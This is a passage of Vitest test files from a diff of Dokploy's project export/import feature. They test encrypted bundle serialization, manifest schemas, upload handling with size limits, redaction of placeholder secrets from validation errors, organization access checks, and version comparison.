import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-serialize-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-serialize-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
const baseInput: SerializeInput = {
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [
{
kind: "postgres",
postgresId: "pg-1",
name: "pg-1",
databasePassword: "$secret:11111111-1111-1111-1111-111111111111",
},
],
shared: {},
},
inventory: {
project: { name: "my-project", environments: 1 },
environments: [
{ id: "env-1", name: "production", services: { postgres: 1 } },
],
totals: { postgres: 1 },
estimatedDumpBytes: 0,
estimatedFilesBytes: 0,
images: [],
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 15,
},
],
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
};
const secretsPlain = new Map([
["11111111-1111-1111-1111-111111111111", "realdbpassword"],
]);
describe("serialize", () => {
it("keeps only the public files in clear and encrypts everything else", async () => {
await mkdir(join(workDir, "dumps"), { recursive: true });
await writeFile(join(workDir, "dumps", "pg-1.sql.gz"), "fake-dump-bytes");
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
baseInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
expect(existsSync(bundlePath)).toBe(true);
expect(existsSync(workDir)).toBe(false);
const { stdout: members } = await execAsync(`tar -tzf "${bundlePath}"`);
expect(members.split("\n")[0]).toBe("manifest.json");
const extractDir = join(outDir, "extracted");
await mkdir(extractDir, { recursive: true });
await execAsync(`tar -xzf "${bundlePath}" -C "${extractDir}"`);
expect((await readdir(extractDir)).sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const outerBytes = await readFile(join(extractDir, "payload.enc"));
expect(outerBytes.includes("realdbpassword")).toBe(false);
expect(outerBytes.includes("fake-dump-bytes")).toBe(false);
const manifest = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const { kEnc } = await deriveKeys(PASSPHRASE, manifest.crypto.salt);
const payloadDir = join(outDir, "payload");
await mkdir(payloadDir, { recursive: true });
await pipeline(
createReadStream(join(extractDir, "payload.enc")),
gcmDecryptStream(kEnc),
createWriteStream(join(outDir, "payload.tar.gz")),
);
await execAsync(
`tar -xzf "${join(outDir, "payload.tar.gz")}" -C "${payloadDir}"`,
);
const servicesJson = await readFile(
join(payloadDir, "resources", "services.json"),
"utf8",
);
expect(servicesJson).not.toContain("realdbpassword");
expect(servicesJson).toContain(
"$secret:11111111-1111-1111-1111-111111111111",
);
expect(
await readFile(join(payloadDir, "dumps", "pg-1.sql.gz"), "utf8"),
).toBe("fake-dump-bytes");
const secrets = JSON.parse(
await readFile(join(payloadDir, "secrets.json"), "utf8"),
);
expect(secrets["11111111-1111-1111-1111-111111111111"]).toBe(
"realdbpassword",
);
});
it("removes workDir even when writing fails", async () => {
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
const badInput: SerializeInput = {
...baseInput,
resources: {
...baseInput.resources,
project: { self: undefined as unknown },
},
};
(badInput.resources.project as Record<string, unknown>).self =
badInput.resources.project;
await expect(
serialize(
badInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
),
).rejects.toThrow();
expect(existsSync(workDir)).toBe(false);
});
});
@@ -0,0 +1,116 @@
import { serviceType } from "@dokploy/server/db/schema";
import {
manifestSchema,
requirementSchema,
serviceTypeSchema,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const validManifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: new Date().toISOString(),
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "a2V5Y2hlY2s=",
},
counts: { application: 1 },
};
describe("transfer types", () => {
it("accepts a valid manifest", () => {
expect(manifestSchema.safeParse(validManifest).success).toBe(true);
});
it("accepts a structurally-valid manifest with a future formatVersion (rejecting it is migrateManifest's job, not the schema's)", () => {
const result = manifestSchema.safeParse({
...validManifest,
formatVersion: 2,
});
expect(result.success).toBe(true);
});
it("rejects a formatVersion that isn't a positive integer", () => {
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 0 }).success,
).toBe(false);
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 1.5 })
.success,
).toBe(false);
});
it("rejects a Requirement with an unknown kind", () => {
const result = requirementSchema.safeParse({
kind: "unknownKind",
originalId: null,
configIncluded: false,
usedBy: [],
});
expect(result.success).toBe(false);
});
it("accepts every real Requirement kind with its shape", () => {
const base = { originalId: "id-1", configIncluded: true, usedBy: [] };
const cases = [
{
...base,
kind: "vault",
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
},
{
...base,
kind: "gitProvider",
providerType: "github",
repositories: [{ owner: "acme", repo: "app" }],
},
{
...base,
kind: "destination",
bucket: "b",
endpoint: "e",
region: "r",
},
{
...base,
kind: "registry",
registryUrl: "r",
imagePrefix: "p",
role: ["registry"],
},
{ ...base, kind: "sshKey", publicKey: "ssh-ed25519 AAAA" },
{ ...base, kind: "network", name: "net" },
{ ...base, kind: "certificate", fingerprint: "abc123", serverId: null },
{ ...base, kind: "server", originalId: null, serverId: null },
];
for (const testCase of cases) {
expect(
requirementSchema.safeParse(testCase).success,
`kind ${testCase.kind} should be valid`,
).toBe(true);
}
});
it("keeps serviceTypeSchema in sync with the serviceType DB enum", () => {
expect([...serviceTypeSchema.options].sort()).toEqual(
[...serviceType.enumValues].sort(),
);
});
});
@@ -0,0 +1,411 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
let transferPathToReturn = "";
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { maxUploadBytesBox, remoteBox } = vi.hoisted(() => ({
maxUploadBytesBox: { value: 10 * 1024 * 1024 * 1024 },
remoteBox: {
commands: [] as string[],
received: [] as Buffer[],
stdin: undefined as undefined | { destroyed: boolean },
exitCode: null as number | null,
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (!serverId) return actual.openProcessStream(serverId, command);
remoteBox.commands.push(command);
const stdin = new Pass();
const stdout = new Pass();
const stderr = new Pass();
remoteBox.stdin = stdin;
stdin.on("data", (chunk: Buffer) => remoteBox.received.push(chunk));
const failWith = remoteBox.exitCode;
const exit =
failWith === null
? new Promise<number>((resolve) => {
stdin.on("finish", () => resolve(0));
stdin.on("close", () => resolve(0));
})
: Promise.resolve(failWith);
return {
stdin,
stdout,
stderr,
exit,
close: () => stdin.destroy(),
};
},
};
},
);
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationServerId: vi.fn(
async (serverId: string | undefined, organizationId: string) => {
if (!serverId) return null;
if (serverId === "server-1" && organizationId === "org-1") {
return "server-1";
}
throw new Error("Server not found");
},
),
get TRANSFER_MAX_UPLOAD_BYTES() {
return maxUploadBytesBox.value;
},
};
},
);
vi.mock("@dokploy/server/constants", async (importOriginal) => {
const actual =
await importOriginal<typeof import("@dokploy/server/constants")>();
return {
...actual,
paths: (isServer?: boolean) => ({
...actual.paths(isServer),
PROJECT_EXPORT_IMPORT_PATH: transferPathToReturn,
}),
};
});
const { getImportJob } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/upload"))
.default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-upload-route-"));
transferPathToReturn = root;
maxUploadBytesBox.value = 10 * 1024 * 1024 * 1024;
remoteBox.exitCode = null;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
} & PassThrough;
stream.statusCode = 200;
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
return stream;
};
const buildMultipartReq = (
fileContent: Buffer,
fileName = "bundle.dokploy.tar.gz",
) => {
const boundary = "----dokployTestBoundary";
const head = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="bundle"; filename="${fileName}"\r\nContent-Type: application/gzip\r\n\r\n`,
);
const tail = Buffer.from(`\r\n--${boundary}--\r\n`);
const body = Buffer.concat([head, fileContent, tail]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
const buildTwoFileMultipartReq = (first: Buffer, second: Buffer) => {
const boundary = "----dokployTestBoundary";
const part = (name: string, content: Buffer) =>
Buffer.concat([
Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="${name}"; filename="${name}.tar.gz"\r\nContent-Type: application/gzip\r\n\r\n`,
),
content,
Buffer.from("\r\n"),
]);
const body = Buffer.concat([
part("bundle", first),
part("bundle2", second),
Buffer.from(`--${boundary}--\r\n`),
]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
describe("transfer upload route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildMultipartReq(Buffer.from("irrelevant"));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects non-POST methods", async () => {
const req = { method: "GET" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("streams the uploaded bundle to disk and creates an import job", async () => {
const content = Buffer.from("fake bundle bytes for the upload route test");
const req = buildMultipartReq(content);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const importId = (res.jsonBody as { importId: string }).importId;
expect(importId).toBeDefined();
const job = getImportJob(importId);
expect(job?.status).toBe("uploaded");
expect(job?.bundle?.path).toBeDefined();
const written = await readFile(job?.bundle?.path as string);
expect(written.equals(content)).toBe(true);
});
it("does not buffer the whole file into memory while receiving a large upload", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-2" },
};
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const content = Buffer.concat(Array(chunkCount).fill(chunk));
const req = buildMultipartReq(content);
const res = buildRes();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(req as any, res as any);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(res.statusCode).toBe(200);
expect(grew).toBeLessThan(content.length / 2);
});
it("rejects an upload with more than one file field instead of silently overwriting the first", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-two-files" },
};
const first = Buffer.from("first file's real content");
const second = Buffer.from("second file's content");
const req = buildTwoFileMultipartReq(first, second);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toContain(
"more than one file",
);
});
it("destroys the request instead of continuing to drain it once the size limit is hit", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-over-limit" },
};
maxUploadBytesBox.value = 10;
const req = buildMultipartReq(Buffer.alloc(1000, 9));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(413);
expect((req as unknown as PassThrough).destroyed).toBe(true);
});
});
describe("upload to a remote server", () => {
let counter = 0;
beforeEach(() => {
counter += 1;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: `remote-user-${counter}` },
};
remoteBox.commands = [];
remoteBox.received = [];
remoteBox.stdin = undefined;
});
it("streams the file into a cat process on the chosen server", async () => {
const content = Buffer.from("remote bundle bytes");
const req = buildMultipartReq(content) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "server-1" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const { importId, serverId } = res.jsonBody as {
importId: string;
serverId: string;
};
expect(serverId).toBe("server-1");
expect(Buffer.concat(remoteBox.received).equals(content)).toBe(true);
expect(remoteBox.commands.some((c) => c.includes("cat > '"))).toBe(true);
expect(getImportJob(importId)?.bundle?.serverId).toBe("server-1");
expect(existsSync(join(transferPathToReturn, importId))).toBe(false);
});
it("rejects a server outside the organization", async () => {
const req = buildMultipartReq(Buffer.from("x")) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "someone-elses-server" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect(remoteBox.commands).toHaveLength(0);
});
it("closes the remote writer when the upload has no file field", async () => {
const boundary = "----dokployTestBoundary";
const body = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="note"\r\n\r\nhello\r\n--${boundary}--\r\n`,
);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.query = { serverId: "server-1" };
stream.end(body);
const res = buildRes();
await handler(stream as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toBe(
"No file field found in the upload",
);
expect(remoteBox.stdin?.destroyed).toBe(true);
});
it("fails fast when the remote writer exits before the file arrives", async () => {
remoteBox.exitCode = 1;
const stalled = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stalled.method = "POST";
stalled.headers = {
"content-type": "multipart/form-data; boundary=----dokployTestBoundary",
};
stalled.query = { serverId: "server-1" };
const res = buildRes();
await handler(stalled as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toMatch(
/Writing the bundle on the server failed/,
);
}, 5_000);
});
@@ -0,0 +1,511 @@
import type {
Plan,
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock("@dokploy/server/services/registry", () => ({
testRegistryConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
{
command:
"printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
stderr: "Error response from daemon: login attempt failed",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/destination", () => ({
testDestinationConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
{
command:
"rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
stderr: "NoSuchBucket: The specified bucket does not exist",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/vault-provider", () => ({
testVaultProviderConnection: vi.fn(async () => {}),
}));
const { validatePlan } = await import(
"@dokploy/server/services/project-export-import"
);
const basePlan = {
target: { kind: "newProject" as const, name: "imported" },
resolutions: {
"registry:registry-src": {
requirementKey: "registry:registry-src",
action: "reuse" as const,
targetId: "registry-dest-1",
},
"destination:destination-src": {
requirementKey: "destination:destination-src",
action: "reuse" as const,
targetId: "destination-dest-1",
},
},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" as const },
portsStrategy: "keep" as const,
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
} satisfies Plan;
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const fakeDb = {
query: {
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-dest",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-dest",
}),
},
vaultProvider: { findFirst: async () => undefined },
},
} as any as TransferDb;
describe("validatePlan (T-5.4)", () => {
it("never leaks the registry password or destination secretAccessKey into a failed check's detail", async () => {
const checks = await validatePlan(fakeDb, snapshot, basePlan, "org-dest");
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).not.toContain("realregistrypass123");
expect(registryCheck?.detail).toContain("login attempt failed");
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).not.toContain("realsecretkey456");
expect(destinationCheck?.detail).toContain("bucket does not exist");
});
});
describe("validatePlan checks each appName against its own destination server (T-5.13)", () => {
it("probes two services' appNames against their own distinct destination servers, not the same one for both", async () => {
const snapshotWithTwoApps: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
kind: "application",
applicationId: "app-1",
appName: "app-one-old",
serverId: "server-src-1",
},
{
kind: "application",
applicationId: "app-2",
appName: "app-two-old",
serverId: "server-src-2",
},
],
},
requirements: [
{
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "app-one",
environmentId: "env-1",
field: "serverId",
},
],
},
{
kind: "server",
originalId: "server-src-2",
configIncluded: false,
usedBy: [
{
serviceId: "app-2",
serviceType: "application",
serviceName: "app-two",
environmentId: "env-1",
field: "serverId",
},
],
},
],
};
const planWithTwoApps: Plan = {
...basePlan,
resolutions: {},
serverMap: {
"server-src-1": "server-dest-1",
"server-src-2": "server-dest-2",
},
appNameMap: {
"app-one-old": "app-one-new",
"app-two-old": "app-two-new",
},
};
const probed: { appName: string; serverId: string | null }[] = [];
await validatePlan(
fakeDb,
snapshotWithTwoApps,
planWithTwoApps,
"org-dest",
{
checkAppNameAvailable: async (appName, serverId) => {
probed.push({ appName, serverId });
return true;
},
},
);
expect(probed).toContainEqual({
appName: "app-one-new",
serverId: "server-dest-1",
});
expect(probed).toContainEqual({
appName: "app-two-new",
serverId: "server-dest-2",
});
});
});
describe("validatePlan blocks an unresolved server requirement (T-6.9)", () => {
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
it("fails the check when the server requirement's resolution is 'skip'", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithSkippedServer: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "skip",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithSkippedServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("fails the check when the server requirement has no resolution at all", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithNoResolution: Plan = {
...basePlan,
resolutions: {},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithNoResolution,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("passes the check when the server requirement is resolved (reuse, incl. explicit local)", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planResolved: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "reuse",
targetId: "server-dest-1",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planResolved,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(true);
});
});
describe("validatePlan checks vault/registry/destination reuse targets belong to the caller's org (T-6.12)", () => {
const crossOrgDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
config: {
providerType: "hashicorp",
url: "https://vault",
token: "t",
},
organizationId: "org-OTHER",
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-OTHER",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
it("fails the registry/destination checks without ever calling the live connection test, when the resolved row belongs to another org", async () => {
const { testRegistryConnection } = await import(
"@dokploy/server/services/registry"
);
const { testDestinationConnection } = await import(
"@dokploy/server/services/destination"
);
(testRegistryConnection as any).mockClear();
(testDestinationConnection as any).mockClear();
const checks = await validatePlan(
crossOrgDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
expect(testRegistryConnection).not.toHaveBeenCalled();
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).toContain(
"Not found in this organization",
);
expect(testDestinationConnection).not.toHaveBeenCalled();
});
it("fails the vault check without calling testVaultProviderConnection, when the resolved row belongs to another org", async () => {
const { testVaultProviderConnection } = await import(
"@dokploy/server/services/vault-provider"
);
(testVaultProviderConnection as any).mockClear();
const planWithVault: Plan = {
...basePlan,
resolutions: {
"vault:vault-src": {
requirementKey: "vault:vault-src",
action: "reuse",
targetId: "vault-dest-1",
},
},
};
const checks = await validatePlan(
crossOrgDb,
snapshot,
planWithVault,
"org-dest",
);
const vaultCheck = checks.find((c) => c.check.startsWith("vault:"));
expect(vaultCheck?.ok).toBe(false);
expect(vaultCheck?.detail).toContain("Not found in this organization");
expect(testVaultProviderConnection).not.toHaveBeenCalled();
});
});
describe("validatePlan checks that each server in plan.serverMap belongs to the caller's org (T-9.3)", () => {
it("fails the check without ever calling execAsyncRemote, for a server belonging to another org", async () => {
const { execAsyncRemote } = await import(
"@dokploy/server/utils/process/execAsync"
);
(execAsyncRemote as any).mockClear();
const crossOrgServerDb = {
query: {
...(fakeDb as any).query,
server: {
findFirst: async () => ({
serverId: "server-other-org",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
const planWithServer: Plan = {
...basePlan,
resolutions: {},
serverMap: { "server-src-1": "server-other-org" },
};
const checks = await validatePlan(
crossOrgServerDb,
snapshot,
planWithServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "server:server-other-org",
);
expect(serverCheck?.ok).toBe(false);
expect(serverCheck?.detail).toContain("Not found in this organization");
expect(execAsyncRemote).not.toHaveBeenCalled();
});
});
describe("validatePlan fails the check when a reuse target no longer exists (T-9.4)", () => {
it("fails the registry check (not ok:true) when the target row doesn't exist at all", async () => {
const missingRowDb = {
query: {
...(fakeDb as any).query,
registry: { findFirst: async () => undefined },
},
} as any as TransferDb;
const checks = await validatePlan(
missingRowDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
});
});
@@ -0,0 +1,179 @@
import type {
ExportScope,
InstanceVersions,
SourceInstance,
} from "@dokploy/server/services/project-export-import";
import {
collectDockerVersions,
compareDockerVersions,
compareInstanceVersions,
isPinnedImage,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const destination: InstanceVersions = {
dokployVersion: "v0.30.6",
releaseTag: "latest",
isCloud: false,
traefikVersion: "3.6.25",
nodeVersion: "v22.0.0",
};
const source = (overrides: Partial<SourceInstance>): SourceInstance => ({
dokployVersion: "v0.30.6",
organizationId: "org-src",
releaseTag: "latest",
isCloud: false,
traefikVersion: "3.6.25",
...overrides,
});
const codesOf = (warnings: { code: string; severity: string }[]) =>
warnings.map((w) => `${w.code}:${w.severity}`);
describe("compareInstanceVersions", () => {
it("is silent when everything matches", () => {
expect(compareInstanceVersions(source({}), destination)).toEqual([]);
});
it("warns when the bundle comes from a newer Dokploy", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "v0.31.0" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:warning"]);
});
it("only informs when the bundle comes from an older Dokploy", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "v0.29.0" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
});
it("informs when versions are not comparable but differ", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "canary", releaseTag: "canary" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
expect(warnings[0]?.message).toContain("can't be compared");
});
it("flags cloud to self-hosted and traefik differences", () => {
const warnings = compareInstanceVersions(
source({ isCloud: true, traefikVersion: "3.4.0" }),
destination,
);
expect(codesOf(warnings)).toEqual([
"INSTANCE_KIND_MISMATCH:info",
"TRAEFIK_VERSION_MISMATCH:info",
]);
});
it("ignores fields an older bundle does not carry", () => {
const warnings = compareInstanceVersions(
{ dokployVersion: "v0.30.6", organizationId: "org-src" },
destination,
);
expect(warnings).toEqual([]);
});
});
describe("compareDockerVersions", () => {
it("reports a different major version", () => {
expect(compareDockerVersions("26.1.0", "27.0.1")).toContain(
"different major version",
);
});
it("accepts the same major version", () => {
expect(compareDockerVersions("27.0.1", "27.3.0")).toBeUndefined();
});
it("is silent without a source version", () => {
expect(compareDockerVersions(undefined, "27.0.1")).toBeUndefined();
});
});
describe("isPinnedImage", () => {
it.each([
["postgres:17", true],
["ghcr.io/org/app:v1.2.3", true],
["registry:5000/org/app@sha256:abc", true],
["postgres", false],
["postgres:latest", false],
["registry:5000/org/app", false],
])("%s → %s", (image, pinned) => {
expect(isPinnedImage(image)).toBe(pinned);
});
});
describe("collectDockerVersions", () => {
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
{ applicationId: "app-2", appName: "app-two", serverId: "srv-1" },
],
compose: [],
postgres: [
{ postgresId: "pg-1", appName: "pg-one", serverId: "srv-1" },
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
it("probes each distinct server once and keys local as 'local'", async () => {
